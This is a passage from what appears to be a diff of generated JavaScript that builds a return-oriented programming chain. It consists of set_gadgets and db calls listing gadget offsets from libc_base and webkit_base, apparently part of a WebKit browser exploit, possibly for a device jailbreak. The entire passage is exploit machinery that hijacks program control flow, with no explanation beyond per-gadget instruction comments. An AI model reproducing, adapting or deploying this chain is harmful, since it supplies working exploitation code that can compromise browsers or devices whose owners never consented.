+libc_base+793877, //pop rsi +ropchain+257528, //L4393 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+257544, //L4394 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L4414: -db([1, 0]); // 0x1 +//L4393: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4394: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4415: +//L4395: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+258232, //L4417 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L4396: +ropchain+397632, //L4313 libc_base+793877 //pop rsi ]); -//L4416: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4417: -db([0, 0]); // 0x0 +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+258304, //L4419 +ropchain+257680, //L4397 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4418: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4419: +//L4397: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+258376, //L4421 +ropchain+257736, //L4399 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4420: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4421: +//L4399: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+258448, //L4423 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); -//L4422: -db([1, 0]); // 0x1 +//L4401: +db([16, 0]); // 0x10 set_gadget(libc_base+788575,); //pop rax -//L4423: +//L4402: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+258520, //L4425 -webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L4424: -db([1, 0]); // 0x1 +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+792472 //pop rcx +]); +//L4403: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4425: +//L4404: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+258592, //L4427 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4426: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4427: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+258664, //L4429 +ropchain+257976, //L4405 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+257992, //L4406 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); -//L4428: -db([1, 0]); // 0x1 +//L4405: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4429: +//L4406: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+258736, //L4431 -webkit_base+7438103, //mov [rsi], rax +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4430: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4431: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+258808, //L4433 +ropchain+258080, //L4407 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4432: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4433: +//L4407: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+258880, //L4435 +ropchain+258136, //L4409 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4434: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4435: +//L4409: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+258952, //L4437 +ropchain+258208, //L4411 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4436: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4437: +//L4411: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+259024, //L4439 +ropchain+258264, //L4413 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4438: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4439: +//L4413: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+2997875, //mov [rax], rcx +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+259096, //L4441 +ropchain+258352, //L4415 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4440: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4441: +//L4415: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4416: +db([32, 0]); // 0x20 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+259168, //L4443 +ropchain+258472, //L4420 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+258456, //L4418 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4442: -db([1, 0]); // 0x1 +//L4418: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4420: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191169, //mov eax, [rdi] +libc_base+793877, //pop rsi +ropchain+258640, //L4423 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+258656, //L4424 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+258624, //L4421 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+258608, //L4422 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi +]); +//L4422: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4421: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4423: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4443: +//L4424: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+259240, //L4445 +ropchain+258752, //L4426 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+258736, //L4425 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4444: -db([1, 0]); // 0x1 +//L4425: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4445: +//L4426: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+793877, //pop rsi +ropchain+258832, //L4427 +webkit_base+7438103, //mov [rsi], rax +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx +]); +//L4427: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4428: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+259312, //L4447 +ropchain+258952, //L4432 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+258936, //L4430 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4446: -db([1, 0]); // 0x1 +//L4430: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4432: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191169, //mov eax, [rdi] +libc_base+793877, //pop rsi +ropchain+259120, //L4435 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+259136, //L4436 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+259104, //L4433 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+259088, //L4434 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi +]); +//L4434: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4433: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4435: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4447: +//L4436: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+259384, //L4449 +ropchain+259224, //L4437 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+259240, //L4439 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4448: -db([1, 0]); // 0x1 +//L4437: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4439: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+191168, //mov rax, [rdi] +libc_base+793877, //pop rsi +ropchain+259296, //L4440 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L4440: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+75236, //or rax, rcx +libc_base+793877, //pop rsi +ropchain+259440, //L4443 +webkit_base+7438103, //mov [rsi], rax +libc_base+793877, //pop rsi +ropchain+259456, //L4444 +webkit_base+7438103, //mov [rsi], rax +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+259424, //L4442 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi +]); +//L4442: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi +//L4443: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4449: +//L4444: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+259456, //L4451 +ropchain+259552, //L4446 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+259536, //L4445 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); -//L4450: -db([1, 0]); // 0x1 +//L4445: +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L4451: +//L4446: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L4447: +ropchain+397632, //L4313 +libc_base+793877 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+793877, //pop rsi +ropchain+259672, //L4448 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L4448: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+259528, //L4453 +ropchain+259728, //L4450 webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx +]); +//L4450: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877 //pop rsi ]); //L4452: -db([1, 0]); // 0x1 +db([176, 0]); // 0xb0 set_gadget(libc_base+788575,); //pop rax //L4453: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+259600, //L4455 -webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+792472 //pop rcx +]); //L4454: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4455: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+259672, //L4457 +ropchain+259968, //L4456 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+259984, //L4457 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L4456: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4457: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] +libc_base+793877 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+259744, //L4459 +ropchain+260072, //L4458 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4458: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4459: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+259816, //L4461 +ropchain+260128, //L4460 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4460: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4461: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+259888, //L4463 +ropchain+260200, //L4462 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4462: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4463: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+259960, //L4465 +ropchain+260256, //L4464 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); //L4464: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4465: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+260032, //L4467 -webkit_base+7438103, //mov [rsi], rax +webkit_base+954100, //mov [rax], ecx +libc_base+191168, //mov rax, [rdi] libc_base+793877 //pop rsi ]); -//L4466: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4467: -db([0, 0]); // 0x0 +db([4294967288, 4294967295]); // -0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+260104, //L4469 +ropchain+260344, //L4466 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4468: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4469: +//L4466: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4467: +db([4294967292, 4294967295]); // -0x4 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+260176, //L4471 +ropchain+260464, //L4471 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+260448, //L4469 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4470: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +//L4469: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4471: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+260248, //L4473 +ropchain+260632, //L4474 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4472: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4473: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+260320, //L4475 +ropchain+260648, //L4475 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+260616, //L4472 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+260600, //L4473 +webkit_base+7438103, //mov [rsi], rax +webkit_base+3750700 //pop r11 ; mov rax, rdi ]); +//L4473: +db([0, 0]); // 0x0 +set_gadget(libc_base+792472,); //pop rcx +//L4472: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4474: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4475: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+260392, //L4477 +ropchain+260744, //L4477 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +webkit_base+1786005, //mov rax, r11 +libc_base+793877, //pop rsi +ropchain+260728, //L4476 +webkit_base+7438103, //mov [rsi], rax +libc_base+206806 //pop rdi ]); //L4476: -db([1, 0]); // 0x1 +db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L4477: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+260464, //L4479 -webkit_base+7438103, //mov [rsi], rax +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575, //pop rax +//L4478: +ropchain+397632, //L4313 libc_base+793877 //pop rsi ]); -//L4478: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax +]); //L4479: -db([0, 0]); // 0x0 +db([51, 0]); // 0x33 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+260536, //L4481 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax +libc_base+788575 //pop rax ]); //L4480: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4481: -db([0, 0]); // 0x0 +db([41, 0]); // 0x29 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+260608, //L4483 +ropchain+260968, //L4481 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+759626, //mov rax, r8 +libc_base+792472 //pop rcx ]); -//L4482: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4483: +//L4481: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L4482: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+260680, //L4485 +ropchain+261088, //L4486 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4484: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4485: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+260752, //L4487 +ropchain+261072, //L4484 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); +//L4484: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4486: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax -//L4487: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+260824, //L4489 +ropchain+261192, //L4487 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+793877, //pop rsi +ropchain+261240, //L4490 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+261224, //L4489 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); +//L4487: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi //L4488: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([24, 0]); // 0x18 +set_gadget(libc_base+206806,); //pop rdi //L4489: db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl -libc_base+793877, //pop rsi -ropchain+260896, //L4491 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi -]); -//L4490: -db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L4491: +//L4490: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl libc_base+793877, //pop rsi -ropchain+260968, //L4493 +ropchain+261344, //L4493 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+261328, //L4491 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4492: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +//L4491: +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4493: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+261040, //L4495 +ropchain+261488, //L4496 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+50775, //mov rax, rdi +libc_base+793877, //pop rsi +ropchain+261456, //L4494 +webkit_base+7438103, //mov [rsi], rax +libc_base+882884, //mov rax, rcx +libc_base+793877, //pop rsi +ropchain+261472, //L4495 +webkit_base+7438103, //mov [rsi], rax +libc_base+792472 //pop rcx ]); //L4494: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax +db([0, 0]); // 0x0 +set_gadget(libc_base+206806,); //pop rdi //L4495: db([0, 0]); // 0x0 +set_gadget(libc_base+788575,); //pop rax +//L4496: +db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+261112, //L4497 +ropchain+261560, //L4497 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4496: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4497: db([0, 0]); // 0x0 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+261184, //L4499 +ropchain+261616, //L4499 webkit_base+7438103, //mov [rsi], rax -libc_base+793877 //pop rsi +libc_base+882884, //mov rax, rcx +libc_base+792472 //pop rcx ]); -//L4498: -db([1, 0]); // 0x1 -set_gadget(libc_base+788575,); //pop rax //L4499: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +db([8, 0]); // 0x8 set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+865136, //mov [rax], cl +libc_base+248252, //sub rdi, rsi ; mov rdx, rdi +libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+261256, //L4501 +ropchain+261696, //L4501 webkit_base+7438103, //mov [rsi], rax 